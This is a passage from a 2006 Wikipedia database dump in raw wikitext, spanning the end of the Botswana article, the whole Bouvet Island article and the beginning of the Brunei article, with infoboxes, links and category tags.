#[[Ghanzi District|Ghanzi]]
#[[Kgalagadi District|Kgalagadi]]
#[[Kgatleng District|Kgatleng]]
#[[Kweneng District|Kweneng]]
#[[North-East District (Botswana)|North-East]]
#[[North-West District (Botswana)|North-West]]
#[[South-East District (Botswana)|South-East]]
#[[Southern District (Botswana)|Southern]]

== Geography ==
{{main|Geography of Botswana}}

Botswana is dominated by the [[Kalahari Desert]], which covers up to 70% of the land surface of the country.  The [[Okavango Delta]], the world's largest inland delta, is in the Northwest. The [[Makgadikgadi Pan]], a large [[salt pan]] lies in the North.[[Image:Botswana map.png|thumb|right|200px|Map of Botswana]]
[[Image:Onkovango delta Botswana Afrika november 2004.jpg|thumb|left|200px|[[Okavango Delta]], Botswana]]

== Economy ==
{{main|Economy of Botswana}}
Since independence, Botswana has had the fastest growth in [[per capita income]] in the world. [[Economic growth]] averaged over 9% per year from 1966 to 1999. The [[government]] has maintained a sound [[fiscal policy]], despite consecutive [[Deficit|budget deficits]] in 2002 and 2003, and a negligible level of [[External debt|foreign debt]]. It earned the highest sovereign [[credit rating]] in [[Africa]] and has stockpiled foreign exchange reserves (over $5.1 billion in 2003/2004) amounting to almost two and one half years of current imports. Botswana's impressive economic record has been built on the foundation of wisely using revenue generated from [[diamond]] [[mining]] to fuel economic development through prudent fiscal policies and a cautious [[foreign policy]]. [[Debswana]], the only [[list of diamond mines|diamond mining]] company operating in Botswana, is 50 % owned by the government and generates about half of all government revenues.  

However, economic development spending was cut by 10 % in 2002-2003 as a result of recurring budget deficits and rising expenditure on [[healthcare]] services. Botswana has been hit very hard by the [[AIDS]] epidemic.  Approximately one in three Batswana have HIV, giving Botswana the second highest HIV infection rate in the world after [[Swaziland]] [http://www.avert.org/aidsbotswana.htm]. The government recognizes that [[HIV]]/[[AIDS]] will affect the economy and is providing leadership and programs to combat the [[epidemic]], including free [[Antiretroviral drug|anti-retroviral treatment]] and a nation-wide Prevention of Mother-to-Child Transmission program.[[Image:Botswana Family.jpg|thumb|right|200px|Indigenous peoples of Botswana]]

Some of Botswana's budget deficits can be traced to relatively high military expenditures (of roughly 4% of GDP in 2004, according to the CIA World Factbook), which some critics contend is unnecessary given the low likelihood of international conflict (though the Botswana government also makes use of these troops for multilateral operations and assistance efforts). 

===Private sector development and foreign investment ===
Botswana seeks to further diversify its economy away from minerals, which account for a third of GDP, down from nearly half of GDP in the early 1990's.  Foreign investment and management are welcomed in Botswana.  Botswana abolished foreign exchange controls in 1999, has a low corporate tax rate (15%), no prohibitions on foreign ownership of companies, and a moderate inflation rate (7.6% November 2004).  The Government of Botswana is currently considering additional policies to enhance competitiveness, including a new Foreign Direct Investment Strategy, Competition Policy, Privatisation Master Plan, and National Export Development Strategy.

With its proven record of good economic governance, Botswana was ranked as Africa's least corrupt country by [[Transparency International]] in 2004, ahead of many European and Asian countries.  The World Economic Forum rates Botswana as one of the two most economically competitive nations in Africa.  In 2004 Botswana was once again assigned &quot;A&quot; grade credit ratings by [[Moody's]] and [[Standard &amp; Poor's]]. This ranks Botswana as by far the best credit risk in Africa and puts it on par with or above many countries in central Europe, East Asia, and Latin America.[[Image:Botswana1987Kidsrain.jpg|thumb|right|250px|Palapye children, 1987, after the first rain for years.]]

U.S. investment in Botswana remains at relatively low levels, but continues to grow. Major U.S. corporations, such as [[H.J. Heinz]] and [[AON Corporation]], are present through direct investments, while others, such as [[Kentucky Fried Chicken]] and [[Remax]], are present via franchise.  The sovereign credit ratings by Moody's and Standard &amp; Poor's clearly indicate that, despite continued challenges such as small market size, landlocked location, and cumbersome bureaucratic processes, Botswana remains one of the best investment opportunities in the developing world.  Botswana has a 90-member American Business Council that accepts membership from American-affiliated companies.

[[Image:BotswanaSeroweWaterhole.jpg|thumb|right|200px|Cattle at a water hole near Serowe]]

Because of history and geography, Botswana has long had deep ties to the economy of [[South Africa]].  The [[Southern Africa Customs Union]] (SACU), comprising Botswana, [[Lesotho]], [[Swaziland]], and South Africa, dates from 1910, and is the world&amp;#8217;s oldest customs union. [[Namibia]] joined in 1990. Under this arrangement,  South Africa has collected [[levies]] from customs, sales, and excise duties for all five members, sharing out proceeds based on each country's portion of imports.  The exact formula for sharing revenues and the decision-making authority over duties &amp;mdash; held exclusively by the Government of South Africa &amp;mdash; became increasingly controversial, and the members renegotiated the arrangement in 2001.  The new structure has now been formally ratified and a SACU Secretariat has been established in [[Windhoek]], Namibia.  Following South Africa's accession to the [[World Trade Organization]] (WTO), Botswana also joined; many of the SACU duties are thus declining, making products from outside the area more competitive in Botswana. Currently the SACU countries and the U.S. are negotiating a free trade agreement. Botswana is currently also negotiating a free trade agreement with [[Mercosur]] and an Economic Partnership Agreement with the [[European Union]] as part of SADC.

Botswana's currency &amp;mdash; the [[Pula (currency)|Pula]] &amp;mdash; is fully convertible and is valued against a basket of currencies heavily weighted toward the South African [[Rand (currency)|Rand]].  Profits and direct investment can be repatriated without restriction from Botswana.  The Botswana Government eliminated all exchange controls in 1999.  The Central Bank devalued the Pula by 7.5% in February 2004 in a bid to maintain export competitiveness against the real appreciation of the Pula. There was a further 12% devalution in May 2005 and the policy of a &quot;crawling peg&quot; was adopted.

Most (70%) of Botswana's electricity is imported from South Africa's [[Eskom]]. 80% of domestic production is concentrated in one plant, [[Morupule Power Station]] near [[Palapye]]. 
[http://www.miningweekly.co.za/min/sector/coal/?show=75117]

[[Gaborone]] is host to the headquarters of the 14 nation [[Southern African Development Community]] (SADC), a successor to the [[Southern African Development Coordination Conference]](SADCC-launched in 1980), which focused its efforts on freeing regional economic development from dependence on apartheid South Africa.  SADC embraced the newly democratic South Africa as a member in 1994 and has a broad mandate to encourage growth, development, and economic integration in Southern Africa.  SADC's Trade Protocol, which was launched on September 1, 2000, calls for the elimination of all tariff and non-tariff barriers to trade by 2008 among the 11 signatory countries. If successful, it will give Botswana companies free access to the far larger regional market.  SADC's failure to distance itself from the [[Robert Mugabe|Mugabe]] government in [[Zimbabwe]] has diminished the number of opportunities for cooperation between the U.S. and SADC.

===Government Funding for Local Businesses===
In 1996, the government set up the FAP (Financial Assistance Policy), the purpose of which was to help citizens set up businesses, and thus encourage employment and diversification of industry. This has undergone several revisions due to the need for a a balance between an easy to understand policy, and the need for fraud prevention. The policy is currently known as CEDA(Citizens Entrepeneurial Development Association) *[http://www.mti.gov.bw/index.php?option=com_content&amp;task=view&amp;id=21&amp;Itemid=54&amp;lang=en ]

===Transport and communications ===
Despite being a sparsely populated, semi-arid country about the size of [[Texas]] or [[France]], Botswana has managed to incorporate much of its interior into the national economy. An &quot;inner circle&quot; highway connecting all major towns and district capitals is completely paved, and the all-weather [[Trans-Kalahari Highway]] connects the country (and, through it, South Africa's commercially dominant [[Gauteng Province]]) to [[Walvis Bay]] in Namibia. A [[fiber-optic]] telecommunications network has been completed in Botswana connecting all major population centers. In November, 2003 representatives of Botswana, Namibia and South Africa signed an MOU to simplify documentation to move cargoes to and from the Port of Walvis Bay in Namibia.

International flights usually arrive at [[Sir Seretse Khama International Airport]] just outside Gaborone.

In addition to the government-owned newspaper and national radio network, there is an active, independent press (seven weekly newspapers). Two privately owned radio stations began operations in 1999. In 2000, the government-owned Botswana Television (BTV) was launched, which is Botswana's first national television station. GBC is a commercially owned television station that broadcast programs to the Gaborone area only. Foreign publications are sold without restriction in Botswana, and there are 18 commercial Internet service providers. Two cellular phone providers cover most of the country.

In 2006, an electrified railway connecting Botswana and [[Lüderitz]], [[Namibia]] was proposed to carry coal and other minerals.


[[Image:In the delta with George.jpg|thumb|right| Mokoro poler in the Okavango Delta]]

===Tourism===
Tourism plays a role in Botswana.  A number of national parks and game reserves, with their abundant wildlife, are a top draw for tourists.

==Labour==
Botswana is in the process or formulating an Action Programme on the Elimination of [[Child labour in Botswana|Child Labour]], which is expected to be adopted in the period 2006-2007.

==Defense==
At the time of independence Botswana had no armed forces. It was only after attacks from the Rhodesian army that Botswana formed a [[Botswana Defence Force]] (BDF) in self-defence in [[1977]]. The [[President of Botswana|president]] is commander in chief and a defence council is appointed by the president. The BDF  now has approximately 12,000 members.

The BDF is a capable and well-disciplined military force. Following positive political changes in [[South Africa]] and the region, the BDF's missions have increasingly focused on anti-poaching activities, disaster-preparedness, and foreign peacekeeping. The United States has been the largest single foreign contributor to the development of the BDF, and a large segment of its officer corps has received U.S. training. It is considered an apolitical and professional institution.

==Foreign relations==
Botswana puts a premium on economic and political integration in Southern Africa. It seeks to make SADC a working vehicle for economic development, and promotes efforts to make the region self-policing in terms of preventative diplomacy, conflict resolution, and good governance. It has welcomed post-apartheid South Africa as a partner in these efforts. Botswana joins the African [[consensus]] on most major international matters and is a member of international organisations such as the [[United Nations]], the [[Commonwealth of Nations]] and the [[African Union]] (AU).

== Demographics ==
{{main|Demographics of Botswana}}

== Culture ==
{{main|Culture of Botswana}}

''See also'': [[List of African writers (by country)#Botswana|List of writers from Botswana]], [[African art#Botswana|Art of Botswana]]
{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
&lt;CAPTION&gt;&lt;font size=&quot;+1&quot;&gt;'''Holidays'''&lt;/font&gt;&lt;/caption&gt;
|-
! style=&quot;background:#efefef;&quot; | Date
! style=&quot;background:#efefef;&quot; | English Name
! style=&quot;background:#efefef;&quot; | Local Name
! style=&quot;background:#efefef;&quot; | Remarks
|-
| [[January 1]] || [[New Year's Day]] || -
| &amp;nbsp;
|-
| [[January 2]] || Public Holiday || - |
| - 
|-
| (varies, usually in late March or early April) || [[Good Friday]]
| - || - 
|-
| (varies, usually in late March or early April) || [[Easter Monday]]
| - || -
|-
| (varies, usually in May) || [[Ascension Day]] || -
| -
|-
| [[July 1]]
| [[Seretse Khama|Sir Seretse Khama]] Day
| - || -
|-
| [[July 19]] || President's Day || - || -
|-
| [[July 20]] || Public Holiday || - || -
|-
| [[December 25]] || [[Christmas]] day || - || -
|-
| [[December 26]] || [[Boxing day]] || - ||-
|-
| first Monday after Christmas || Public Holiday
| - || -
|}

== Main population centres (in descending order)==
Cities:
* [[Gaborone]]
* [[Francistown]]

Towns and villages:
* [[Molepolole]]
* [[Selebi-Phikwe, Botswana|Selebi-Phikwe]]
* [[Maun]]
* [[Serowe, Botswana|Serowe]]
* [[Kanye, Botswana|Kanye]]
* [[Mahalapye]]
* [[Mochudi]]
* [[Mogoditshane]]
* [[Lobatse]]
* [[Palapye]]
* [[Tlokweng]]
* [[Ramotswa, Botswana|Ramotswa]]
* [[Thamaga]]
* [[Moshupa]]
* [[Tonota]]
* [[Jwaneng]]
* [[Orapa]]
* [[Letlhakane]]

== Education ==
{{main|Education in Botswana}}

== Miscellaneous topics ==
* [[Communications in Botswana]]
* [[Foreign relations of Botswana]]
* [[History of Botswana]]
* [[Military of Botswana]]
* [[Transportation in Botswana]]



==External links==
{{sisterlinks|Botswana}}

===Government===
*[http://www.gov.bw/home.html The Republic Of Botswana] official government site
*[http://www.gov.bw/government/the_parliament.html The Parliament of Botswana] official site
*[http://www.rulers.org/rulb1.html#botswana Rulers.org —Botswana] List of rulers for Botswana
*[http://www.gov.bw/government/office_of_auditor_general.html Supreme Audit Institution] Botswana Audit Office

===News===
*[http://www.gov.bw/cgi-bin/news.cgi/ Daily News] Government of Botswana newspaper
*[http://allafrica.com/botswana/ allAfrica - Botswana] news headline links
*[http://www.gazette.bw/ The Botswana Gazette] independent mid-week newspaper
*[http://www.mmegi.bw/ Mmegi] independent weekly newspaper
*[http://www.botswanaguardian.co.bw/ The Botswana Gaurdian] Independent weekly newspaper
*[http://www.thevoicebw.com/ The Voice] Independent weekly newspaper
*[http://www.midweeksun.co.bw/ Midweek sun] Independent mid-week newspaper
*[http://www.ngamitimes.com/ The Ngami Times] Ngamiland's weekly newspaper

===Overviews===
*[http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1068674.stm BBC News - ''Country Profile: Botswana'']
*[http://www.cia.gov/cia/publications/factbook/geos/bc.html CIA World Factbook - ''Botswana'']

===Directories===
*[http://search.looksmart.com/p/browse/us1/us317836/us317916/us559898/us559899/us10065675/us559901/ LookSmart - ''Botswana''] directory category
*[http://dmoz.org/Regional/Africa/Botswana/ Open Directory Project - ''Botswana''] directory category
*[http://www-sul.stanford.edu/depts/ssrg/africa/bots.html Stanford University - Africa South of the Sahara: ''Botswana''] directory category
*[http://www.afrika.no/index/Countries/Botswana/index.html The Index on Africa - ''Botswana''] directory category
*[http://www.sas.upenn.edu/African_Studies/Country_Specific/Botswana.html University of Pennsylvania - African Studies Center: ''Botswana''] directory category
*[http://dir.yahoo.com/Regional/Countries/Botswana/ Yahoo! - ''Botswana''] directory category

===Tourism===
*[http://www.airbotswana.co.uk/ Air Botswana UK - The national airline]
*{{wikitravel}}

===Other===
* [http://www.photos-botswana.com Photos from Botswana]


{{Africa}}

[[Category:African Union member states]]
[[Category:Botswana|*]]
[[Category:Landlocked countries]]

[[af:Botswana]]
[[am:ቦትስዋና]]
[[ar:بوتسوانا]]
[[an:Botsuana]]
[[bg:Ботсвана]]
[[zh-min-nan:Botswana]]
[[bn:বোত্সওয়ানা]]
[[bs:Bocvana]]
[[ca:Botswana]]
[[cs:Botswana]]
[[da:Botswana]]
[[de:Botsuana]]
[[et:Botswana]]
[[el:Μποτσουάνα]]
[[es:Botsuana]]
[[eo:Bocvano]]
[[eu:Botswana]]
[[fr:Botswana]]
[[gl:República de Botsuana - Republic of Botswana]]
[[ko:보츠와나]]
[[ht:Botswana]]
[[hi:बोत्सवाना]]
[[hr:Bocvana]]
[[io:Botswana]]
[[id:Botswana]]
[[is:Botsvana]]
[[it:Botswana]]
[[he:בוטסואנה]]
[[ks:बोत्सवाना]]
[[ku:Botswana]]
[[la:Botsuana]]
[[lv:Botsvāna]]
[[lt:Botsvana]]
[[hu:Botswana]]
[[ms:Botswana]]
[[na:Botswana]]
[[nl:Botswana]]
[[nds:Botswana]]
[[ja:ボツワナ]]
[[no:Botswana]]
[[nn:Botswana]]
[[pl:Botswana]]
[[pt:Botswana]]
[[ro:Botswana]]
[[ru:Ботсвана]]
[[sa:बोत्सवाना]]
[[sq:Botsuana]]
[[simple:Botswana]]
[[sk:Botswana]]
[[sl:Bocvana]]
[[sr:Боцвана]]
[[fi:Botswana]]
[[sv:Botswana]]
[[tl:Botswana]]
[[tr:Botsvana Cumhuriyeti]]
[[uk:Ботсвана]]
[[zh:波札那]]
[[tn:Botswana]]</text>
    </revision>
  </page>
  <page>
    <title>Bouvet Island</title>
    <id>3465</id>
    <revision>
      <id>41291294</id>
      <timestamp>2006-02-26T09:00:06Z</timestamp>
      <contributor>
        <username>Leflyman</username>
        <id>42863</id>
      </contributor>
      <comment>/* Bouvet Island in fiction */ removed [[WP:NOR</comment>
      <text xml:space="preserve">{| border=1 cellpadding=2 cellspacing=0 align=right width=300px
|+&lt;font size=+1&gt;'''Bouvetøya'''&lt;/font&gt;
|-
| align=center colspan=2 | [[Image:Flag of Bouvet Island (local).svg|150px|Representative flag of Bouvet Island]]
&lt;span style=&quot;font-size: smaller;&quot;&gt;([[Flag of Bouvet Island|Unofficial flag]])&lt;/span&gt;
|-
| align=center colspan=2 | [[Image:Orthographic projection centered over Bouvet Island.png|280px]]
|-
| [[Area]]
* Total
*Water (%)
| &lt;br/&gt;
*49 [[km&amp;sup2;]]
*? %
|-
| [[Population]] &lt;br/&gt;
* Total ([[2004]])
* [[Population density]]
| &lt;br/&gt;
*0
*0/[[km&amp;sup2;]]
|-
| [[List of dependent territories|Dependency of Norway since]] || [[February 27]], [[1930]]
|-
| [[Time zone]] || [[UTC]] +1
|-
| [[Country code top-level domain|Top level domains]] || [[.bv]] [[.no]]
|-
| [[Country calling code]] || 47
|}
[[Image:Bouvet Island.png|250px|right|thumb|Map of Bouvet Island]]
[[Image:Bouvet aerial photo.JPG|250px|right|thumb|Aerial photo]]

'''Bouvet Island''' ([[Norwegian language|Norwegian]]: ''Bouvetøya'') is an uninhabited sub-[[antarctic]] volcanic [[island]] in the South [[Atlantic Ocean]], south-southwest of the [[Cape of Good Hope]] ([[South Africa]]). It is a dependent area of [[Norway]] and is ''not'' subject to the [[Antarctic Treaty]].

== Geography ==

Bouvet Island is located at {{coor dm|54|26|S|3|24|E|}}. It is 58.5&amp;nbsp;[[square kilometre|km²]] (22.6&amp;nbsp;[[square mile]]s) in area, 93% of which is covered by [[glacier]]s which block the south and east coasts. 
It has no ports or harbors, only offshore anchorages, and is difficult to approach. The glaciers form a thick ice layer falling in high cliffs into the sea or onto the black beaches of [[volcanic]] sand. The 29.6&amp;nbsp;[[Kilometer|km]] (18.4&amp;nbsp;[[mile]]s) of coastline are often surrounded by an ice pack. The highest point on the island is called ''Olavtoppen'', whose peak is 780&amp;nbsp;[[metre|m]] (2,600&amp;nbsp;[[foot (length)|ft]]) above sea level. A [[lava]] shelf on the island's west coast, which appeared between [[1955]] and [[1958]], provides a nesting site for birds.

Bouvet Island is a candidate for the most remote island in the world, along with other small isolated islands such as [[Tristan da Cunha]], [[Easter Island]] and the [[Pitcairn Island]]s. The nearest land is [[Queen Maud Land]], Antarctica, over 1,600 km (1,000 miles) away to the south, which is itself uninhabited.

== History ==

[[Bouvet Island]] was discovered on [[January 1]], [[1739]], by [[Jean-Baptiste Charles Bouvet de Lozier]], who commanded the [[France|French]] ships ''Aigle'' and ''Marie''.  However, the island's position was not accurately fixed and Bouvet did not circumnavigate his discovery, so it remained unclear whether it was an island or part of a continent.

The island was not sighted again until [[1808]], when it was spotted by one Lindsay, the captain of the Enderby Company whaler ''Swan''.  Though he didn't land, he was the first to correctly fix the island's position.

The first successful landfall dates to December [[1822]], when Captain Benjamin Morrell of the sealer ''Wasp'' landed, hunting for [[seal (mammal)|seal]]s.  He was successful and took several seal skins. 

On December 10, [[1825]], one Captain Norris, master of the Enderby Company whalers ''Sprightly'' and ''Lively'', landed on the island, named it ''Liverpool Island'', and claimed it for the [[British Crown]].

In [[1898]], the [[Germany|German]] ''Valdivia'' expedition of [[Carl Chun]] visited the island but didn't land. 

The first extended stay on the island was in [[1927]], when the [[Norway|Norwegian]] &quot;Norvegia&quot; crew stayed for about a month; this is the basis for the territorial claim by [[Norway]], who have named the island Bouvetøya (Bouvet Island in Norwegian). The island was [[Annexation|annexed]] on [[December 1]] [[1927]], by a Royal Norwegian Decree of [[January 23]] [[1928]], Bouvetøya became a Norwegian Territory. The [[United Kingdom]] waived its claim in favor of Norway the following year. In [[1930]] a Norwegian act was passed that made the island a dependent area subject to the [[sovereignty]] of the Kingdom (but not a part of the Kingdom).

In [[1964]], an abandoned [[lifeboat]] was discovered on the island, along with various supplies; however, the lifeboat's passengers were never found.

In [[1971]], Bouvet Island and the adjacent territorial waters were designated a nature reserve.  The island remains uninhabited, although an automated [[weather station]] was set up there in [[1977]] by the Norwegians.

On [[September 22]], [[1979]], a [[satellite]] recorded a flash of light (which was later interpreted as having been caused by a [[nuclear bomb]] explosion or natural event such as a [[meteor]]) in a stretch of the southern [[Indian Ocean]] between Bouvet Island and [[Prince Edward Islands]].  This detonation, since dubbed the [[Vela Incident]], scattered radioactive debris over a wide area (it was detected by scientists in the [[Australian Antarctic Territory]]).  No country has ever admitted responsibility for the test, though suspects include [[South Africa]], [[Israel]] and [[Taiwan]].

Despite being uninhabited, Bouvet Island has the [[Internet]] [[country code]] [[top-level domain]] ([[ccTLD]]) [[.bv]], though it is [http://www.norid.no/domenenavnbaser/bv-sj.html not used].  A handful of [[amateur radio]] expeditions have gone to this remote location ([[call sign]]s used here begin with ''3Y'').  Bouvet Island falls within the UTC Z [[time zone]].  ''Atlantic/St_Helena'' is the zone used in the time zone database.

==Bouvet Island in fiction==
[[Image:Bouvet island 0.jpg|250px|thumb|right|Southeast coast of Bouvet Island, 1898]]

Bouvet, redundantly called &quot;Bouvetøya Island,&quot; was the setting of the [[2004]] movie ''[[Alien vs. Predator (film)|Alien vs. Predator]]''.  It also figured prominently in the book, ''A Grue Of Ice'', by [[Geoffrey Jenkins]].

==See also==

* [[Sub-antarctic islands]]

==External links==
*[http://www.btinternet.com/~sa_sa/bouvetoya/bouvetoya.html Information on Bouvet Island]
*[http://www.70south.com/resources/islands/bouvet Bouvet Island - Bouvetøya]
*[http://www.infoplease.com/spot/desertisland11.html Bouvet Island at Infoplease]
*[http://www.qsl.net/wd4ngb/3y0.htm 2000 Bouvet Island amateur radio expedition (3YØC)]
*[http://www.geocities.com/CapeCanaveral/Hangar/4073/ftr_cty.html 1990 Bouvet Island amateur radio expedition (3Y5X)]

{{Norway OT}}

[[Category:Norwegian dependencies]]
[[Category:Ridge volcanoes]]
[[Category:Sub-antarctic islands]]
[[Category:Islands of Norway]]
[[Category:Volcanoes of Norway]]
[[Category:Volcanoes of the Southern Ocean]]
[[Category:Bouvet Island|*]]

[[af:Bouvet]]
[[bg:Буве]]
[[ca:Bouvet]]
[[cs:Bouvetův ostrov]]
[[da:Bouvetøen]]
[[de:Bouvetinsel]]
[[el:Μπουβέ]]
[[es:Isla Bouvet]]
[[eo:Buvetinsulo]]
[[fr:Île Bouvet]]
[[ko:부베 섬]]
[[id:Pulau Bouvet]]
[[is:Bouveteyja]]
[[it:Isola Bouvet]]
[[he:בובה (אי)]]
[[lv:Buvē sala]]
[[hu:Bouvet-sziget]]
[[nl:Bouvet]]
[[ja:ブーベ島]]
[[no:Bouvetøya]]
[[pl:Wyspa Bouveta]]
[[pt:Bouvet]]
[[ru:Буве]]
[[sl:Otok Bouvet]]
[[sv:Bouvetön]]
[[tr:Bouvet Adası]]
[[zh:布韦岛]]</text>
    </revision>
  </page>
  <page>
    <title>Brunei</title>
    <id>3466</id>
    <revision>
      <id>41651508</id>
      <timestamp>2006-02-28T20:29:05Z</timestamp>
      <contributor>
        <username>MJCdetroit</username>
        <id>627347</id>
      </contributor>
      <comment>Infobox minor fix</comment>
      <text xml:space="preserve">{{Infobox_Country
|native_name = ''برني دارالسلام&lt;br&gt;Negara Brunei Darussalam''
|common_name = Brunei
|image_flag = Flag of Brunei.svg
|image_coat = bx-coat.gif
|image_map = LocationBrunei.png
|national_motto = (translation): Always in service with God's guidance
|national_anthem = [[Allah Peliharakan Sultan]]
|official_languages = [[Malay language|Malay]]
|capital = [[Bandar Seri Begawan]]
|latd=4 |latm=55 |latNS=N|longd=114 |longm=55 |longEW=E
|largest_city = 
|government_type = [[Absolute monarchy]]
|leader_titles = [[Sultan of Brunei|Sultan]]
|leader_names =[[Hassanal Bolkiah]]
|area_rank = 162nd
|area_magnitude = 1 E9
|area= 5,765
|areami²= 2,226 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|percent_water = 8.6
|population_estimate = 343,653
|population_estimate_rank = 162nd
|population_estimate_year = 2001
|population_census = 
|population_census_year = 
|population_density = 61
|population_densitymi² = 158 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|population_density_rank = 104
|GDP_PPP = $6,842 million 
|GDP_PPP_rank = 148 &lt;!-- cia.gov --&gt;
|GDP_PPP_year= 2005
|GDP_PPP_per_capita = 24,143
|GDP_PPP_per_capita_rank = 28th
|sovereignty_type = [[Independence]]
|established_events = From British protectorate
|established_dates = [[January 1]], [[1984]]
|HDI = 0.866
|HDI_rank = 33rd
|HDI_year = 2003
|HDI_category = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt;
|currency = [[Brunei dollar|Brunei Ringgit]]
|currency_code = BND
|country_code = 
|time_zone = 
|utc_offset =  + 8
|time_zone_DST = 
|utc_offset_DST = 
|cctld = [[.bn]]
|calling_code = 673 &lt;sup&gt;&lt;small&gt;1&lt;small&gt;&lt;/sup&gt;
|footnotes = &lt;small&gt;1: also 080 from [[Malaysia]]&lt;/small&gt;
}}


'''Negara Brunei Darussalam''', more commonly referred to as the '''Sultanate of Brunei''' or simply '''Brunei''', is a country located on the [[island]] of [[Borneo]], in [[southeast Asia]]. Apart from its coastline with the [[South China Sea]], it is completely surrounded by [[East Malaysia]]. The [[Petroleum ]] and [[natural gas|gas]]-rich Brunei is a member of the [[Association of Southeast Asian Nations]] (ASEAN), the [[Asia-Pacific Economic Cooperation]] (APEC) and the (British) [[Commonwealth of Nations]].

== History ==
[[Image:Brunei3.jpg|thumb|250px|Location of Brunei on Borneo, shown &lt;font color=green&gt;in green&lt;/font&gt;.]]
{{main|History of Brunei}}

The [[Sultanate]] of Brunei was very powerful from the [[14th century|14th]] through the [[16th century]]. Its realm covered the southern [[Philippines]], [[Sarawak]] and [[Sabah]]. [[Europe]]an influence gradually brought an end to this [[regional power]]. Later, there was a brief war with [[Spain]] in which Brunei was victorious. The [[19th century]] however saw Brunei losing much of its territory to the [[White Rajahs]] of Sarawak.

There was a small [[rebellion]] against the [[monarchy]] during the [[1960s]], which was prevented by the [[United Kingdom]]. This event became known as the [[Brunei Revolt]] and was partly responsible for the failure to create the [[North Borneo Federation]]. The rebellion also affected Brunei's decision to opt out of the [[Malaysia|Malaysian Federation]]. Brunei was a [[United Kingdom|British]] [[protectorate]] from [[1888]] to [[1984]].

== Politics ==
{{main|Politics of Brunei}}

[[Hassanal Bolkiah|Sultan Hassanal Bolkiah]] of Brunei, whose [[List of Sultans of Brunei|title has passed within the same dynasty]] since the [[15th century]], is the head of state and head of government in Brunei. The Sultan is advised by several [[Council|councils]] and a cabinet of [[Minister|ministers]] although he is effectively the supreme ruler. The [[media]] is extremely pro-government and the Royal family retains an almost godlike status within the country. There is no elected [[legislative]] body. In September [[2004]] the Sultan convened an appointed [[Parliament]] which had not met since independence in [[1984]]. 

The country has been under hypothetical [[martial law]] since a rebellion occurred in the early [[1960s]] and was put down by [[United Kingdom|British]] troops from [[Singapore]]. A [[battalion]] from the [[British Army]]'s [[Royal Gurkha Rifles]] is still stationed in Brunei under agreement with the Sultan to protect the [[petroleum|oil]] [[Oil field|fields]] in the West of the country. Other units from the British Army are present to support and train the [[Brunei Army]]. 

Brunei also claims territory in [[Sarawak]] and is one of many nations to lay claim to the disputed [[Spratly Islands]].

== Districts ==
[[Image:Brunei.geohive.gif|thumb|340px|right|[[Subnational|Administrative division]].]]
{{main|Districts of Brunei}}
Brunei is divided into four [[district]]s, called ''daerah''. These are:
* [[Belait District|Belait]]
* [[Brunei and Muara]]
* [[Temburong]]
* [[Tutong District|Tutong]]

A sub-division of a district, [[province]], is called ''Mukim''.

== Geography ==
{{main|Geography of Brunei}}

Brunei consists of two unconnected parts; 97% of the population lives in the larger western part, only about 10,000 live in the mountainous eastern part, the district of [[Temburong]]. Major towns are the capital [[Bandar Seri Begawan]] (about 46,000 inhabitants), the port town [[Muara]] and the oil producing districts of [[Seria]] and [[Kuala Belait]]. 

The [[climate]] in Brunei is [[equatorial]]-[[Tropical climate|tropical]], with high temperatures, a high [[humidity]] and heavy rainfall.

== Economy ==
{{main|Economy of Brunei}}
This small, [[Wealth|wealthy]] [[economic system|economy]] is a mixture of [[foreign]] and [[Domestic policy|domestic]] entrepreneurship, government regulation, [[social welfare|welfare]] measures, and [[village]] [[tradition]]. Crude [[petroleum|oil]] and [[natural gas]] production account for nearly half of [[Gross domestic product|GDP]]. Substantial income from overseas investment supplements income from domestic production. The government provides for all [[medical]] services and subsidizes [[rice]] and housing. Brunei's leaders are concerned that steadily increased integration in the world economy will undermine internal [[social cohesion]] although it became a more prominent player by serving as [[chairman]] for the 2000 [[APEC]] (Asian Pacific Economic Cooperation) forum. Stated plans for the future include upgrading the [[labour (economics)|labor]] force, reducing [[unemployment]], strengthening the [[banking]] and [[Tourism|tourist]] sectors, and, in general, further widening the economic base.

== Demographics ==
{{main|Demographics of Brunei}}

About two-thirds of the Brunei population are of [[Malay people|Malay]] origin. The most important [[Minority|ethnic minority group]] are the [[China|Chinese]], with about 15%. These groups also reflect the most important [[Language|languages]]: [[Malay language|Malay]], which is the official language, and [[Chinese language|Chinese]]. [[English language|English]] is also widely spoken and there is a relatively large [[expatriate]] community.

[[Islam]] is the official [[religion]] of Brunei, and the sultan is the head of the religion in the country. Other faiths practised are [[Buddhism]] (mainly by the Chinese), [[Christianity]] and very small communities still practice [[indigenous]] religions.

== Culture ==
{{main|Culture of Brunei}}

The culture of Brunei is similar to Malay culture, with heavy influences from [[Hinduism]] and [[Islam]].



== Miscellaneous topics ==

* [[Brunei Revolt]]
* [[Communications in Brunei]]
* [[Foreign relations of Brunei]]
* [[History of Brunei]]
* [[Istana Nurul Iman]] (The Sultan's Palace)
* [[Military of Brunei]]
* [[North Borneo Federation]]
* [[Royal Brunei Airlines]]
* [[Transportation in Brunei]]
* [[Water Village (Brunei)]]
* [[Brooketon]]
* [[Shannon Marketic]]


''Much of the material in these articles comes from the [[CIA World Factbook]] [[2000]] and the [[2003]] [[United States|U.S]]. Department of State website.''

== Further reading ==

{{nonenglish}}
*L. W. W. Gudgeon (1913). ''British North Borneo''. London, Adam and Charles Black.

[[ar:بروناي]]
[[an:Brunei]]
[[bg:Бруней]]
[[zh-min-nan:Brunei]]
[[bn:ব্রুনাই]]
[[bs:Brunej]]
[[ca:Brunei]]
[[cs:Brunej]]
[[da:Brunei]]
[[de:Brunei]]
[[et:Brunei]]
[[es:Brunei]]
[[eo:Brunejo]]
[[eu:Brunei]]
[[fr:Brunei]]
[[fy:Brûnei]]
[[gd:Brunei]]
[[gl:Brunei]]
[[ko:브루나이]]
[[ht:Brouney]]
[[hi:ब्रुनेई]]
[[hr:Brunej]]
[[io:Brunei]]
[[ilo:Brunei]]
[[id:Brunei]]
[[is:Brúnei]]
[[it:Brunei]]
[[he:ברוניי]]
[[lv:Bruneja]]
[[lt:Brunėjus]]
[[li:Broenai]]
[[hu:Brunei]]
[[ms:Brunei]]
[[na:Brunei]]
[[nl:Brunei]]
[[nds:Brunei]]
